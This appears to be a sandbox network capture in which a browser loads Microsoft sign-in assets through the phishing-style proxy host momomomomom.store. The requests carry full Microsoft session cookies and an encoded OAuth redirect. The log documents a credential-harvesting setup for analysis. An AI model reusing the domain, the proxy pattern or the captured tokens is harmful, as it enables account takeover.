esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:50 UTC	741	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:50 GMT Content-Type: image/png Content-Length: 5139 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Feb 2020 03:12:12 GMT ETag: 0x8D7AF695A8C44DC x-ms-request-id: 6a44e7d6-b01e-0065-77ac-a020b6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182850Z-1675f555588s5nrx2mx8rav7z800000005a000000000mymc x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:28:50 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNG IHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49793	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:49 UTC	1699	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:50 UTC	786	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:50 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: b90eb2cf-201e-0020-71ac-a074ad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182850Z-17859dc676bk9fvmabf11y6sw400000005t000000000aqah x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:28:50 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ {&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49795	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:50 UTC	1702	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:28:50 UTC	763	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:28:50 GMT Content-Type: image/jpeg Content-Length: 17453 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E30A1202 x-ms-request-id: 76c4bf79-501e-0057-23ac-a057a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182850Z-1675f5555888mts85fqrmh2qd400000000ag00000000zvch x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:28:50 UTC	15621	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-05-07 18:28:50 UTC	1832	IN	Data Raw: 45 41 44 01 40 00 04 11 40 00 01 00 14 01 40 00 00 10 01 40 14 40 00 00 50 00 00 04 00 00 05 00 45 00 00 05 00 00 01 00 05 50 00 00 04 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 Data Ascii: EAD@@@@@PEPmEPHEPDQQ@@@TPB( ( ("(( ( " * (

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49803	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:29:01 UTC	2745	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_presetpasswordsplitter_2e62c59c862fb482c11d.js HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:29:02 UTC	1384	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:29:02 GMT Content-Type: application/x-javascript content-length: 4730 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:56 GMT ETag: 0x8DAFF34DE85F09C x-ms-request-id: 4d4fa97f-c01e-003e-1cac-a06692000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182901Z-1675f555588w9qtm6742k93z6c00000005sg000000005m73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:29:02 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2024-05-07 18:29:02 UTC	1652	IN	Data Raw: e5 57 ed 53 db 36 18 ff de bf 42 78 1f 48 8a ed bc 10 92 90 36 bb 6b 81 0e ba 52 72 24 eb 6e 07 5c 4e 96 95 44 60 4b 3e 49 4e c8 80 ff 7d 8f 14 3b c4 21 74 b4 bd dd 6d 37 ee 88 13 e9 79 f9 3d 2f bf 47 72 e5 f5 d6 2b f4 1a 79 2f ff 43 fd c1 bb f3 01 3a fb 80 06 c7 27 e7 87 a8 07 bf fe 40 9f cf 06 27 07 47 2f b7 63 9c 9a ff c1 84 29 34 62 11 45 f0 0c b0 a2 21 12 1c 09 89 18 27 42 26 42 62 4d 15 8a e1 53 32 1c a1 91 14 31 d2 13 8a 12 29 ae 29 d1 0a 45 4c 69 50 0a 68 24 66 a8 04 e6 64 88 7a 58 ea 39 3a e9 95 7d b0 4f c1 1a 1b 33 0e da 44 24 73 f8 3e d1 88 0b cd 08 45 98 87 d6 5a 04 3f b8 a2 28 e5 21 95 68 36 61 64 82 4e 19 91 42 89 91 46 92 12 ca a6 e0 44 a5 b0 5e 74 e1 22 2c 29 52 54 a3 91 90 7a b2 c0 e1 a3 be 91 cc ac 2a eb 66 e1 51 59 71 00 3f 65 21 18 1c Data Ascii: WS6BxH6kRr$n\ND`K>IN};!tm7y=/Gr+y/C:'@'G/c)4bE! 'B&BbMS21)) ELiP h$fdzX9:}O3D$s>EZ?(!h6adNBFD^t",)RTz*fQYq?e!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49804	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:29:01 UTC	2793	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:29:02 UTC	741	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:29:02 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83739984DD x-ms-request-id: 9dbce097-301e-006d-45ac-a078a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182901Z-1675f555588zrnjp5dh0ycgt6g00000005cg00000000cv5s x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:29:02 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0! ,`6PlH I:qJk`BYL&! ,0<[\K8jtrg! ,3^; \UK]\%Vc! , 7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49805	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
